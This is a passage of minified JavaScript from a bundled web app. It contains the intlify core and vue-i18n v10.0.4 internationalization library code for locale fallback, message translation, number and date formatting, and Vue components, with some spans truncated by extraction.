rI=sI("function:translate");function sI(e){return t=>$i&&$i.emit(e,t)}const pr={INVALID_ARGUMENT:AL,INVALID_DATE_ARGUMENT:18,INVALID_ISO_DATE_ARGUMENT:19,NOT_SUPPORT_NON_STRING_MESSAGE:20,NOT_SUPPORT_LOCALE_PROMISE_VALUE:21,NOT_SUPPORT_LOCALE_ASYNC_FUNCTION:22,NOT_SUPPORT_LOCALE_TYPE:23},iI=24;function mr(e){return Va(e,null,void 0)}function uf(e,t){return t.locale!=null?dm(t.locale):dm(e.locale)}let Lc;function dm(e){if(ue(e))return e;if(lt(e)){if(e.resolvedOnce&&Lc!=null)return Lc;if(e.constructor.name==="Function"){const t=e();if(SL(t))throw mr(pr.NOT_SUPPORT_LOCALE_PROMISE_VALUE);return Lc=t}else throw mr(pr.NOT_SUPPORT_LOCALE_ASYNC_FUNCTION)}else throw mr(pr.NOT_SUPPORT_LOCALE_TYPE)}function oI(e,t,n){return[...new Set([n,..._t(t)?t:Ye(t)?Object.keys(t):ue(t)?[t]:[n]])]}function Y_(e,t,n){const s=ue(n)?n:Wi,o=e;o.__localeChainCache||(o.__localeChainCache=new Map);let a=o.__localeChainCache.get(s);if(!a){a=[];let c=[n];for(;_t(c);)c=pm(a,c,t);const u=_t(t)||!De(t)?t:t.default?t.default:null;c=ue(u)?[u]:u,_t(c)&&pm(a,c,!1),o.__localeChainCache.set(s,a)}return a}function pm(e,t,n){let s=!0;for(let o=0;o{c===void 0?c=u:c+=u},w[1]=()=>{c!==void 0&&(t.push(c),c=void 0)},w[2]=()=>{w[0](),o++},w[3]=()=>{if(o>0)o--,s=4,w[0]();else{if(o=0,c===void 0||(c=dI(c),c===!1))return!1;w[1]()}};function O(){const P=e[n+1];if(s===5&&P==="'"||s===6&&P==='"')return n++,u="\\"+P,w[0](),!0}for(;s!==null;)if(n++,a=e[n],!(a==="\\"&&O())){if(h=hI(a),g=Vr[s],d=g[h]||g.l||8,d===8||(s=d[0],d[1]!==void 0&&(m=w[d[1]],m&&(u=a,m()===!1))))return;if(s===7)return t}}const mm=new Map;function mI(e,t){return Ye(e)?e[t]:null}function gI(e,t){if(!Ye(e))return null;let n=mm.get(t);if(n||(n=pI(t),n&&mm.set(t,n)),!n)return null;const s=n.length;let o=e,a=0;for(;a`${e.charAt(0).toLocaleUpperCase()}${e.substr(1)}`;function yI(){return{upper:(e,t)=>t==="text"&&ue(e)?e.toUpperCase():t==="vnode"&&Ye(e)&&"__v_isVNode"in e?e.children.toUpperCase():e,lower:(e,t)=>t==="text"&&ue(e)?e.toLowerCase():t==="vnode"&&Ye(e)&&"__v_isVNode"in e?e.children.toLowerCase():e,capitalize:(e,t)=>t==="text"&&ue(e)?_m(e):t==="vnode"&&Ye(e)&&"__v_isVNode"in e?_m(e.children):e}}let J_;function bI(e){J_=e}let X_;function vI(e){X_=e}let Q_;function EI(e){Q_=e}let Z_=null;const wI=e=>{Z_=e},SI=()=>Z_;let ey=null;const ym=e=>{ey=e},TI=()=>ey;let bm=0;function OI(e={}){const t=lt(e.onWarn)?e.onWarn:OL,n=ue(e.version)?e.version:_I,s=ue(e.locale)||lt(e.locale)?e.locale:Wi,o=lt(s)?Wi:s,a=_t(e.fallbackLocale)||De(e.fallbackLocale)||ue(e.fallbackLocale)||e.fallbackLocale===!1?e.fallbackLocale:o,c=De(e.messages)?e.messages:{[o]:{}},u=De(e.datetimeFormats)?e.datetimeFormats:{[o]:{}},h=De(e.numberFormats)?e.numberFormats:{[o]:{}},d=It({},e.modifiers||{},yI()),m=e.pluralRules||{},g=lt(e.missing)?e.missing:null,w=ze(e.missingWarn)||Hs(e.missingWarn)?e.missingWarn:!0,O=ze(e.fallbackWarn)||Hs(e.fallbackWarn)?e.fallbackWarn:!0,P=!!e.fallbackFormat,F=!!e.unresolving,D=lt(e.postTranslation)?e.postTranslation:null,R=De(e.processor)?e.processor:null,N=ze(e.warnHtmlMessage)?e.warnHtmlMessage:!0,U=!!e.escapeParameter,x=lt(e.messageCompiler)?e.messageCompiler:J_,q=lt(e.messageResolver)?e.messageResolver:X_||mI,Z=lt(e.localeFallbacker)?e.localeFallbacker:Q_||oI,W=Ye(e.fallbackContext)?e.fallbackContext:void 0,ae=e,se=Ye(ae.__datetimeFormatters)?ae.__datetimeFormatters:new Map,Ae=Ye(ae.__numberFormatters)?ae.__numberFormatters:new Map,Ve=Ye(ae.__meta)?ae.__meta:{};bm++;const Me={version:n,cid:bm,locale:s,fallbackLocale:a,messages:c,modifiers:d,pluralRules:m,missing:g,missingWarn:w,fallbackWarn:O,fallbackFormat:P,unresolving:F,postTranslation:D,processor:R,warnHtmlMessage:N,escapeParameter:U,messageCompiler:x,messageResolver:q,localeFallbacker:Z,fallbackContext:W,onWarn:t,__meta:Ve};return Me.datetimeFormats=u,Me.numberFormats=h,Me.__datetimeFormatters=se,Me.__numberFormatters=Ae,__INTLIFY_PROD_DEVTOOLS__&&nI(Me,n,Ve),Me}function ff(e,t,n,s,o){const{missing:a,onWarn:c}=e;if(a!==null){const u=a(e,n,t,o);return ue(u)?u:t}else return t}function yi(e,t,n){const s=e;s.__localeChainCache=new Map,e.localeFallbacker(e,n,t)}function RI(e,t){return e===t?!1:e.split("-")[0]===t.split("-")[0]}function AI(e,t){const n=t.indexOf(e);if(n===-1)return!1;for(let s=n+1;s{ty.includes(h)?c[h]=n[h]:a[h]=n[h]}),ue(s)?a.locale=s:De(s)&&(c=s),De(o)&&(c=o),[a.key||"",u,a,c]}function Em(e,t,n){const s=e;for(const o in n){const a=`${t}__${o}`;s.__datetimeFormatters.has(a)&&s.__datetimeFormatters.delete(a)}}function wm(e,...t){const{numberFormats:n,unresolving:s,fallbackLocale:o,onWarn:a,localeFallbacker:c}=e,{__numberFormatters:u}=e,[h,d,m,g]=pu(...t),w=ze(m.missingWarn)?m.missingWarn:e.missingWarn;ze(m.fallbackWarn)?m.fallbackWarn:e.fallbackWarn;const O=!!m.part,P=uf(e,m),F=c(e,o,P);if(!ue(h)||h==="")return new Intl.NumberFormat(P,g).format(d);let D={},R,N=null;const U="number format";for(let Z=0;Z{ny.includes(h)?c[h]=n[h]:a[h]=n[h]}),ue(s)?a.locale=s:De(s)&&(c=s),De(o)&&(c=o),[a.key||"",u,a,c]}function Sm(e,t,n){const s=e;for(const o in n){const a=`${t}__${o}`;s.__numberFormatters.has(a)&&s.__numberFormatters.delete(a)}}const CI=e=>e,xI=e=>"",LI="text",II=e=>e.length===0?"":lf(e),NI=TL;function Tm(e,t){return e=Math.abs(e),t===2?e?e>1?1:0:1:e?Math.min(e,2):0}function PI(e){const t=xt(e.pluralIndex)?e.pluralIndex:-1;return e.named&&(xt(e.named.count)||xt(e.named.n))?xt(e.named.count)?e.named.count:xt(e.named.n)?e.named.n:t:t}function kI(e,t){t.count||(t.count=e),t.n||(t.n=e)}function DI(e={}){const t=e.locale,n=PI(e),s=Ye(e.pluralRules)&&ue(t)&<(e.pluralRules[t])?e.pluralRules[t]:Tm,o=Ye(e.pluralRules)&&ue(t)&<(e.pluralRules[t])?Tm:void 0,a=R=>R[s(n,R.length,o)],c=e.list||[],u=R=>c[R],h=e.named||{};xt(e.pluralIndex)&&kI(n,h);const d=R=>h[R];function m(R,N){const U=lt(e.messages)?e.messages(R,!!N):Ye(e.messages)?e.messages[R]:!1;return U||(e.parent?e.parent.message(R):xI)}const g=R=>e.modifiers?e.modifiers[R]:CI,w=De(e.processor)&<(e.processor.normalize)?e.processor.normalize:II,O=De(e.processor)&<(e.processor.interpolate)?e.processor.interpolate:NI,P=De(e.processor)&&ue(e.processor.type)?e.processor.type:LI,D={list:u,named:d,plural:a,linked:(R,...N)=>{const[U,x]=N;let q="text",Z="";N.length===1?Ye(U)?(Z=U.modifier||Z,q=U.type||q):ue(U)&&(Z=U||Z):N.length===2&&(ue(U)&&(Z=U||Z),ue(x)&&(q=x||q));const W=m(R,!0)(D),ae=q==="vnode"&&_t(W)&&Z?W[0]:W;return Z?g(Z)(ae,q):ae},message:m,type:P,interpolate:O,normalize:w,values:It({},c,h)};return D}const Om=()=>"",xn=e=>lt(e);function Rm(e,...t){const{fallbackFormat:n,postTranslation:s,unresolving:o,messageCompiler:a,fallbackLocale:c,messages:u}=e,[h,d]=mu(...t),m=ze(d.missingWarn)?d.missingWarn:e.missingWarn,g=ze(d.fallbackWarn)?d.fallbackWarn:e.fallbackWarn,w=ze(d.escapeParameter)?d.escapeParameter:e.escapeParameter,O=!!d.resolvedMessage,P=ue(d.default)||ze(d.default)?ze(d.default)?a?h:()=>h:d.default:n?a?h:()=>h:null,F=n||P!=null&&(ue(P)||lt(P)),D=uf(e,d);w&&MI(d);let[R,N,U]=O?[h,D,u[D]||{}]:ry(e,h,D,c,g,m),x=R,q=h;if(!O&&!(ue(x)||qs(x)||xn(x))&&F&&(x=P,q=x),!O&&(!(ue(x)||qs(x)||xn(x))||!ue(N)))return o?qa:h;let Z=!1;const W=()=>{Z=!0},ae=xn(x)?x:sy(e,h,N,x,q,W);if(Z)return x;const se=BI(e,N,U,d),Ae=DI(se),Ve=FI(e,ae,Ae),Me=s?s(Ve,h):Ve;if(__INTLIFY_PROD_DEVTOOLS__){const qe={timestamp:Date.now(),key:ue(h)?h:xn(x)?x.key:"",locale:N||(xn(x)?x.locale:""),format:ue(x)?x:xn(x)?x.source:"",message:Me};qe.meta=It({},e.__meta,SI()||{}),rI(qe)}return Me}function MI(e){_t(e.list)?e.list=e.list.map(t=>ue(t)?lm(t):t):Ye(e.named)&&Object.keys(e.named).forEach(t=>{ue(e.named[t])&&(e.named[t]=lm(e.named[t]))})}function ry(e,t,n,s,o,a){const{messages:c,onWarn:u,messageResolver:h,localeFallbacker:d}=e,m=d(e,s,n);let g={},w,O=null;const P="translate";for(let F=0;Fs;return d.locale=n,d.key=t,d}const h=c(s,UI(e,n,o,s,u,a));return h.locale=n,h.key=t,h.source=s,h}function FI(e,t,n){return t(n)}function mu(...e){const[t,n,s]=e,o={};if(!ue(t)&&!xt(t)&&!xn(t)&&!qs(t))throw mr(pr.INVALID_ARGUMENT);const a=xt(t)?String(t):(xn(t),t);return xt(n)?o.plural=n:ue(n)?o.default=n:De(n)&&!Ha(n)?o.named=n:_t(n)&&(o.list=n),xt(s)?o.plural=s:ue(s)?o.default=s:De(s)&&It(o,s),[a,o]}function UI(e,t,n,s,o,a){return{locale:t,key:n,warnHtmlMessage:o,onError:c=>{throw a&&a(c),c},onCacheKey:c=>bL(t,n,c)}}function BI(e,t,n,s){const{modifiers:o,pluralRules:a,messageResolver:c,fallbackLocale:u,fallbackWarn:h,missingWarn:d,fallbackContext:m}=e,w={locale:t,modifiers:o,pluralRules:a,messages:(O,P)=>{let F=c(n,O);if(F==null&&(m||P)){const[,,D]=ry(m||e,O,t,u,h,d);F=c(D,O)}if(ue(F)||qs(F)){let D=!1;const N=sy(e,O,t,F,O,()=>{D=!0});return D?Om:N}else return xn(F)?F:Om}};return e.processor&&(w.processor=e.processor),s.list&&(w.list=s.list),s.named&&(w.named=s.named),xt(s.plural)&&(w.pluralIndex=s.plural),w}JL();/*! * vue-i18n v10.0.4 * (c) 2024 kazuya kawaguchi * Released under the MIT License. */const $I="10.0.4";function WI(){typeof __VUE_I18N_FULL_INSTALL__!="boolean"&&(ss().__VUE_I18N_FULL_INSTALL__=!0),typeof __VUE_I18N_LEGACY_API__!="boolean"&&(ss().__VUE_I18N_LEGACY_API__=!0),typeof __INTLIFY_DROP_MESSAGE_COMPILER__!="boolean"&&(ss().__INTLIFY_DROP_MESSAGE_COMPILER__=!1),typeof __INTLIFY_PROD_DEVTOOLS__!="boolean"&&(ss().__INTLIFY_PROD_DEVTOOLS__=!1)}const tn={UNEXPECTED_RETURN_TYPE:iI,INVALID_ARGUMENT:25,MUST_BE_CALL_SETUP_TOP:26,NOT_INSTALLED:27,REQUIRED_VALUE:28,INVALID_VALUE:29,CANNOT_SETUP_VUE_DEVTOOLS_PLUGIN:30,NOT_INSTALLED_WITH_PROVIDE:31,UNEXPECTED_ERROR:32,NOT_COMPATIBLE_LEGACY_VUE_I18N:33,NOT_AVAILABLE_COMPOSITION_IN_LEGACY:34};function ln(e,...t){return Va(e,null,void 0)}const gu=Hr("__translateVNode"),_u=Hr("__datetimeParts"),yu=Hr("__numberParts"),iy=Hr("__setPluralRules"),oy=Hr("__injectWithOption"),bu=Hr("__dispose");function Hi(e){if(!Ye(e))return e;for(const t in e)if(ba(e,t))if(!t.includes("."))Ye(e[t])&&Hi(e[t]);else{const n=t.split("."),s=n.length-1;let o=e,a=!1;for(let c=0;c{if("locale"in u&&"resource"in u){const{locale:h,resource:d}=u;h?(c[h]=c[h]||{},oa(d,c[h])):oa(d,c)}else ue(u)&&oa(JSON.parse(u),c)}),o==null&&a)for(const u in c)ba(c,u)&&Hi(c[u]);return c}function ay(e){return e.type}function ly(e,t,n){let s=Ye(t.messages)?t.messages:{};"__i18nGlobal"in n&&(s=hf(e.locale.value,{messages:s,__i18n:n.__i18nGlobal}));const o=Object.keys(s);o.length&&o.forEach(a=>{e.mergeLocaleMessage(a,s[a])});{if(Ye(t.datetimeFormats)){const a=Object.keys(t.datetimeFormats);a.length&&a.forEach(c=>{e.mergeDateTimeFormat(c,t.datetimeFormats[c])})}if(Ye(t.numberFormats)){const a=Object.keys(t.numberFormats);a.length&&a.forEach(c=>{e.mergeNumberFormat(c,t.numberFormats[c])})}}}function Am(e){return Mt(Ki,null,e,0)}const Cm="__INTLIFY_META__",xm=()=>[],HI=()=>!1;let Lm=0;function Im(e){return(t,n,s,o)=>e(n,s,Di()||void 0,o)}const VI=()=>{const e=Di();let t=null;return e&&(t=ay(e)[Cm])?{[Cm]:t}:null};function df(e={}){const{__root:t,__injectWithOption:n}=e,s=t===void 0,o=e.flatJson,a=ya?Wr:fg;let c=ze(e.inheritLocale)?e.inheritLocale:!0;const u=a(t&&c?t.locale.value:ue(e.locale)?e.locale:Wi),h=a(t&&c?t.fallbackLocale.value:ue(e.fallbackLocale)||_t(e.fallbackLocale)||De(e.fallbackLocale)||e.fallbackLocale===!1?e.fallbackLocale:u.value),d=a(hf(u.value,e)),m=a(De(e.datetimeFormats)?e.datetimeFormats:{[u.value]:{}}),g=a(De(e.numberFormats)?e.numberFormats:{[u.value]:{}});let w=t?t.missingWarn:ze(e.missingWarn)||Hs(e.missingWarn)?e.missingWarn:!0,O=t?t.fallbackWarn:ze(e.fallbackWarn)||Hs(e.fallbackWarn)?e.fallbackWarn:!0,P=t?t.fallbackRoot:ze(e.fallbackRoot)?e.fallbackRoot:!0,F=!!e.fallbackFormat,D=lt(e.missing)?e.missing:null,R=lt(e.missing)?Im(e.missing):null,N=lt(e.postTranslation)?e.postTranslation:null,U=t?t.warnHtmlMessage:ze(e.warnHtmlMessage)?e.warnHtmlMessage:!0,x=!!e.escapeParameter;const q=t?t.modifiers:De(e.modifiers)?e.modifiers:{};let Z=e.pluralRules||t&&t.pluralRules,W;W=(()=>{s&&ym(null);const C={version:$I,locale:u.value,fallbackLocale:h.value,messages:d.value,modifiers:q,pluralRules:Z,missing:R===null?void 0:R,missingWarn:w,fallbackWarn:O,fallbackFormat:F,unresolving:!0,postTranslation:N===null?void 0:N,warnHtmlMessage:U,escapeParameter:x,messageResolver:e.messageResolver,messageCompiler:e.messageCompiler,__meta:{framework:"vue"}};C.datetimeFormats=m.value,C.numberFormats=g.value,C.__datetimeFormatters=De(W)?W.__datetimeFormatters:void 0,C.__numberFormatters=De(W)?W.__numberFormatters:void 0;const $=OI(C);return s&&ym($),$})(),yi(W,u.value,h.value);function se(){return[u.value,h.value,d.value,m.value,g.value]}const Ae=Dt({get:()=>u.value,set:C=>{u.value=C,W.locale=u.value}}),Ve=Dt({get:()=>h.value,set:C=>{h.value=C,W.fallbackLocale=h.value,yi(W,u.value,C)}}),Me=Dt(()=>d.value),qe=Dt(()=>m.value),$t=Dt(()=>g.value);function Wt(){return lt(N)?N:null}function We(C){N=C,W.postTranslation=C}function me(){return D}function ye(C){C!==null&&(R=Im(C)),D=C,W.missing=R}const et=(C,$,ie,fe,Ee,Se)=>{se();let rt;try{__INTLIFY_PROD_DEVTOOLS__,s||(W.fallbackContext=t?TI():void 0),rt=C(W)}finally{__INTLIFY_PROD_DEVTOOLS__,s||(W.fallbackContext=void 0)}if(ie!=="translate exists"&&xt(rt)&&rt===qa||ie==="translate exists"&&!rt){const[ct,Ot]=$();return t&&P?fe(t):Ee(ct)}else{if(Se(rt))return rt;throw ln(tn.UNEXPECTED_RETURN_TYPE)}};function bt(...C){return et($=>Reflect.apply(Rm,null,[$,...C]),()=>mu(...C),"translate",$=>Reflect.apply($.t,$,[...C]),$=>$,$=>ue($))}function ce(...C){const[$,ie,fe]=C;if(fe&&!Ye(fe))throw ln(tn.INVALID_ARGUMENT);return bt($,ie,It({resolvedMessage:!0},fe||{}))}function Y(...C){return et($=>Reflect.apply(vm,null,[$,...C]),()=>du(...C),"datetime format",$=>Reflect.apply($.d,$,[...C]),()=>gm,$=>ue($))}function de(...C){return et($=>Reflect.apply(wm,null,[$,...C]),()=>pu(...C),"number format",$=>Reflect.apply($.n,$,[...C]),()=>gm,$=>ue($))}function Ce(C){return C.map($=>ue($)||xt($)||ze($)?Am(String($)):$)}const Le={normalize:Ce,interpolate:C=>C,type:"vnode"};function V(...C){return et($=>{let ie;const fe=$;try{fe.processor=Le,ie=Reflect.apply(Rm,null,[fe,...C])}finally{fe.processor=null}return ie},()=>mu(...C),"translate",$=>$[gu](...C),$=>[Am($)],$=>_t($))}function re(...C){return et($=>Reflect.apply(wm,null,[$,...C]),()=>pu(...C),"number format",$=>$[yu](...C),xm,$=>ue($)||_t($))}function ne(...C){return et($=>Reflect.apply(vm,null,[$,...C]),()=>du(...C),"datetime format",$=>$[_u](...C),xm,$=>ue($)||_t($))}function oe(C){Z=C,W.pluralRules=Z}function ge(C,$){return et(()=>{if(!C)return!1;const ie=ue($)?$:u.value,fe=S(ie),Ee=W.messageResolver(fe,C);return qs(Ee)||xn(Ee)||ue(Ee)},()=>[C],"translate exists",ie=>Reflect.apply(ie.te,ie,[C,$]),HI,ie=>ze(ie))}function Pe(C){let $=null;const ie=Y_(W,h.value,u.value);for(let fe=0;fe{c&&(u.value=C,W.locale=C,yi(W,u.value,h.value))}),Mr(t.fallbackLocale,C=>{c&&(h.value=C,W.fallbackLocale=C,yi(W,u.value,h.value))}));const te={id:Lm,locale:Ae,fallbackLocale:Ve,get inheritLocale(){return c},set inheritLocale(C){c=C,C&&t&&(u.value=t.locale.value,h.value=t.fallbackLocale.value,yi(W,u.value,h.value))},get availableLocales(){return Object.keys(d.value).sort()},messages:Me,get modifiers(){return q},get pluralRules(){return Z||{}},get isGlobal(){return s},get missingWarn(){return w},set missingWarn(C){w=C,W.missingWarn=w},get fallbackWarn(){return O},set fallbackWarn(C){O=C,W.fallbackWarn=O},get fallbackRoot(){return P},set fallbackRoot(C){P=C},get fallbackFormat(){return F},set fallbackFormat(C){F=C,W.fallbackFormat=F},get warnHtmlMessage(){return U},set warnHtmlMessage(C){U=C,W.warnHtmlMessage=C},get escapeParameter(){return x},set escapeParameter(C){x=C,W.escapeParameter=C},t:bt,getLocaleMessage:S,setLocaleMessage:M,mergeLocaleMessage:Q,getPostTranslationHandler:Wt,setPostTranslationHandler:We,getMissingHandler:me,setMissingHandler:ye,[iy]:oe};return te.datetimeFormats=qe,te.numberFormats=$t,te.rt=ce,te.te=ge,te.tm=v,te.d=Y,te.n=de,te.getDateTimeFormat=K,te.setDateTimeFormat=b,te.mergeDateTimeFormat=E,te.getNumberFormat=L,te.setNumberFormat=B,te.mergeNumberFormat=G,te[oy]=n,te[gu]=V,te[_u]=ne,te[yu]=re,te}function qI(e){const t=ue(e.locale)?e.locale:Wi,n=ue(e.fallbackLocale)||_t(e.fallbackLocale)||De(e.fallbackLocale)||e.fallbackLocale===!1?e.fallbackLocale:t,s=lt(e.missing)?e.missing:void 0,o=ze(e.silentTranslationWarn)||Hs(e.silentTranslationWarn)?!e.silentTranslationWarn:!0,a=ze(e.silentFallbackWarn)||Hs(e.silentFallbackWarn)?!e.silentFallbackWarn:!0,c=ze(e.fallbackRoot)?e.fallbackRoot:!0,u=!!e.formatFallbackMessages,h=De(e.modifiers)?e.modifiers:{},d=e.pluralizationRules,m=lt(e.postTranslation)?e.postTranslation:void 0,g=ue(e.warnHtmlInMessage)?e.warnHtmlInMessage!=="off":!0,w=!!e.escapeParameterHtml,O=ze(e.sync)?e.sync:!0;let P=e.messages;if(De(e.sharedMessages)){const q=e.sharedMessages;P=Object.keys(q).reduce((W,ae)=>{const se=W[ae]||(W[ae]={});return It(se,q[ae]),W},P||{})}const{__i18n:F,__root:D,__injectWithOption:R}=e,N=e.datetimeFormats,U=e.numberFormats,x=e.flatJson;return{locale:t,fallbackLocale:n,messages:P,flatJson:x,datetimeFormats:N,numberFormats:U,missing:s,missingWarn:o,fallbackWarn:a,fallbackRoot:c,fallbackFormat:u,modifiers:h,pluralRules:d,postTranslation:m,warnHtmlMessage:g,escapeParameter:w,messageResolver:e.messageResolver,inheritLocale:O,__i18n:F,__root:D,__injectWithOption:R}}function vu(e={}){const t=df(qI(e)),{__extender:n}=e,s={id:t.id,get locale(){return t.locale.value},set locale(o){t.locale.value=o},get fallbackLocale(){return t.fallbackLocale.value},set fallbackLocale(o){t.fallbackLocale.value=o},get messages(){return t.messages.value},get datetimeFormats(){return t.datetimeFormats.value},get numberFormats(){return t.numberFormats.value},get availableLocales(){return t.availableLocales},get missing(){return t.getMissingHandler()},set missing(o){t.setMissingHandler(o)},get silentTranslationWarn(){return ze(t.missingWarn)?!t.missingWarn:t.missingWarn},set silentTranslationWarn(o){t.missingWarn=ze(o)?!o:o},get silentFallbackWarn(){return ze(t.fallbackWarn)?!t.fallbackWarn:t.fallbackWarn},set silentFallbackWarn(o){t.fallbackWarn=ze(o)?!o:o},get modifiers(){return t.modifiers},get formatFallbackMessages(){return t.fallbackFormat},set formatFallbackMessages(o){t.fallbackFormat=o},get postTranslation(){return t.getPostTranslationHandler()},set postTranslation(o){t.setPostTranslationHandler(o)},get sync(){return t.inheritLocale},set sync(o){t.inheritLocale=o},get warnHtmlInMessage(){return t.warnHtmlMessage?"warn":"off"},set warnHtmlInMessage(o){t.warnHtmlMessage=o!=="off"},get escapeParameterHtml(){return t.escapeParameter},set escapeParameterHtml(o){t.escapeParameter=o},get pluralizationRules(){return t.pluralRules||{}},__composer:t,t(...o){return Reflect.apply(t.t,t,[...o])},rt(...o){return Reflect.apply(t.rt,t,[...o])},tc(...o){const[a,c,u]=o,h={plural:1};let d=null,m=null;if(!ue(a))throw ln(tn.INVALID_ARGUMENT);const g=a;return ue(c)?h.locale=c:xt(c)?h.plural=c:_t(c)?d=c:De(c)&&(m=c),ue(u)?h.locale=u:_t(u)?d=u:De(u)&&(m=u),Reflect.apply(t.t,t,[g,d||m||{},h])},te(o,a){return t.te(o,a)},tm(o){return t.tm(o)},getLocaleMessage(o){return t.getLocaleMessage(o)},setLocaleMessage(o,a){t.setLocaleMessage(o,a)},mergeLocaleMessage(o,a){t.mergeLocaleMessage(o,a)},d(...o){return Reflect.apply(t.d,t,[...o])},getDateTimeFormat(o){return t.getDateTimeFormat(o)},setDateTimeFormat(o,a){t.setDateTimeFormat(o,a)},mergeDateTimeFormat(o,a){t.mergeDateTimeFormat(o,a)},n(...o){return Reflect.apply(t.n,t,[...o])},getNumberFormat(o){return t.getNumberFormat(o)},setNumberFormat(o,a){t.setNumberFormat(o,a)},mergeNumberFormat(o,a){t.mergeNumberFormat(o,a)}};return s.__extender=n,s}function KI(e,t,n){return{beforeCreate(){const s=Di();if(!s)throw ln(tn.UNEXPECTED_ERROR);const o=this.$options;if(o.i18n){const a=o.i18n;if(o.__i18n&&(a.__i18n=o.__i18n),a.__root=t,this===this.$root)this.$i18n=Nm(e,a);else{a.__injectWithOption=!0,a.__extender=n.__vueI18nExtend,this.$i18n=vu(a);const c=this.$i18n;c.__extender&&(c.__disposer=c.__extender(this.$i18n))}}else if(o.__i18n)if(this===this.$root)this.$i18n=Nm(e,o);else{this.$i18n=vu({__i18n:o.__i18n,__injectWithOption:!0,__extender:n.__vueI18nExtend,__root:t});const a=this.$i18n;a.__extender&&(a.__disposer=a.__extender(this.$i18n))}else this.$i18n=e;o.__i18nGlobal&&ly(t,o,o),this.$t=(...a)=>this.$i18n.t(...a),this.$rt=(...a)=>this.$i18n.rt(...a),this.$tc=(...a)=>this.$i18n.tc(...a),this.$te=(a,c)=>this.$i18n.te(a,c),this.$d=(...a)=>this.$i18n.d(...a),this.$n=(...a)=>this.$i18n.n(...a),this.$tm=a=>this.$i18n.tm(a),n.__setInstance(s,this.$i18n)},mounted(){},unmounted(){const s=Di();if(!s)throw ln(tn.UNEXPECTED_ERROR);const o=this.$i18n;delete this.$t,delete this.$rt,delete this.$tc,delete this.$te,delete this.$d,delete this.$n,delete this.$tm,o.__disposer&&(o.__disposer(),delete o.__disposer,delete o.__extender),n.__deleteInstance(s),delete this.$i18n}}}function Nm(e,t){e.locale=t.locale||e.locale,e.fallbackLocale=t.fallbackLocale||e.fallbackLocale,e.missing=t.missing||e.missing,e.silentTranslationWarn=t.silentTranslationWarn||e.silentFallbackWarn,e.silentFallbackWarn=t.silentFallbackWarn||e.silentFallbackWarn,e.formatFallbackMessages=t.formatFallbackMessages||e.formatFallbackMessages,e.postTranslation=t.postTranslation||e.postTranslation,e.warnHtmlInMessage=t.warnHtmlInMessage||e.warnHtmlInMessage,e.escapeParameterHtml=t.escapeParameterHtml||e.escapeParameterHtml,e.sync=t.sync||e.sync,e.__composer[iy](t.pluralizationRules||e.pluralizationRules);const n=hf(e.locale,{messages:t.messages,__i18n:t.__i18n});return Object.keys(n).forEach(s=>e.mergeLocaleMessage(s,n[s])),t.datetimeFormats&&Object.keys(t.datetimeFormats).forEach(s=>e.mergeDateTimeFormat(s,t.datetimeFormats[s])),t.numberFormats&&Object.keys(t.numberFormats).forEach(s=>e.mergeNumberFormat(s,t.numberFormats[s])),e}const pf={tag:{type:[String,Object]},locale:{type:String},scope:{type:String,validator:e=>e==="parent"||e==="global",default:"parent"},i18n:{type:Object}};function zI({slots:e},t){return t.length===1&&t[0]==="default"?(e.default?e.default():[]).reduce((s,o)=>[...s,...o.type===en?o.children:[o]],[]):t.reduce((n,s)=>{const o=e[s];return o&&(n[s]=o()),n},{})}function cy(){return en}const GI=hs({name:"i18n-t",props:It({keypath:{type:String,required:!0},plural:{type:[Number,String],validator:e=>xt(e)||!isNaN(e)}},pf),setup(e,t){const{slots:n,attrs:s}=t,o=e.i18n||mf({useScope:e.scope,__useComponent:!0});return()=>{const a=Object.keys(n).filter(g=>g!=="_"),c={};e.locale&&(c.locale=e.locale),e.plural!==void 0&&(c.plural=ue(e.plural)?+e.plural:e.plural);const u=zI(t,a),h=o[gu](e.keypath,u,c),d=It({},s),m=ue(e.tag)||Ye(e.tag)?e.tag:cy();return La(m,d,h)}}}),Pm=GI;function jI(e){return _t(e)&&!ue(e[0])}function uy(e,t,n,s){const{slots:o,attrs:a}=t;return()=>{const c={part:!0};let u={};e.locale&&(c.locale=e.locale),ue(e.format)?c.key=e.format:Ye(e.format)&&(ue(e.format.key)&&(c.key=e.format.key),u=Object.keys(e.format).reduce((w,O)=>n.includes(O)?It({},w,{[O]:e.format[O]}):w,{}));const h=s(e.value,c,u);let d=[c.key];_t(h)?d=h.map((w,O)=>{const P=o[w.type],F=P?P({[w.type]:w.value,index:O,parts:h}):[w.value];return jI(F)&&(F[0].key=`${w.type}-${O}`),F}):ue(h)&&(d=[h]);const m=It({},a),g=ue(e.tag)||Ye(e.tag)?e.tag:cy();return La(g,m,d)}}const YI=hs({name:"i18n-n",props:It({value:{type:Number,required:!0},format:{type:[String,Object]}},pf),setup(e,t){const n=e.i18n||mf({useScope:e.scope,__useComponent:!0});return uy(e,t,ny,(...s)=>n[yu](...s))}}),km=YI,JI=hs({name:"i18n-d",props:It({value:{type:[Number,Date],required:!0},format:{type:[String,Object]}},pf),setup(e,t){const n=e.i18n||mf({useScope:e.scope,__useComponent:!0});return uy(e,t,ty,(...s)=>n[_u](...s))}}),Dm=JI;function XI(e,t){const n=e;if(e.mode==="composition")return n.__getInstance(t)||e.global;{const s=n.__getInstance(t);return s!=null?s.__composer:e.global.__composer}}function QI(e){const t=c=>{const{instance:u,value:h}=c;if(!u||!u.$)throw ln(tn.UNEXPECTED_ERROR);const d=XI(e,u.$),m=Mm(h);return[Reflect.apply(d.t,d,[...Fm(m)]),d]};return{created:(c,u)=>{const[h,d]=t(u);ya&&e.global===d&&(c.__i18nWatcher=Mr(d.locale,()=>{u.instance&&u.instance.$forceUpdate()})),c.__composer=d,c.textContent=h},unmounted:c=>{ya&&c.__i18nWatcher&&(c.__i18nWatcher(),c.__i18nWatcher=void 0,delete c.__i18nWatcher),c.__composer&&(c.__composer=void 0,delete c.__composer)},beforeUpdate:(c,{value:u})=>{if(c.__composer){const h=c.__composer,d=Mm(u);c.textContent=Reflect.apply(h.t,h,[...Fm(d)])}},getSSRProps:c=>{const[u]=t(c);return{textContent:u}}}}function Mm(e){if(ue(e))return{path:e};if(De(e)){if(!("path"in e))throw ln(tn.REQUIRED_VALUE,"path");return e}else throw ln(tn.INVALID_VALUE)}function Fm(e){const{path:t,locale:n,args:s,choice:o,plural:a}=e,c={},u=s||{};return ue(n)&&(c.locale=n),xt(o)&&(c.plural=o),xt(a)&&(c.plural=a),[t,u,c]}function ZI(e,t,...n){const 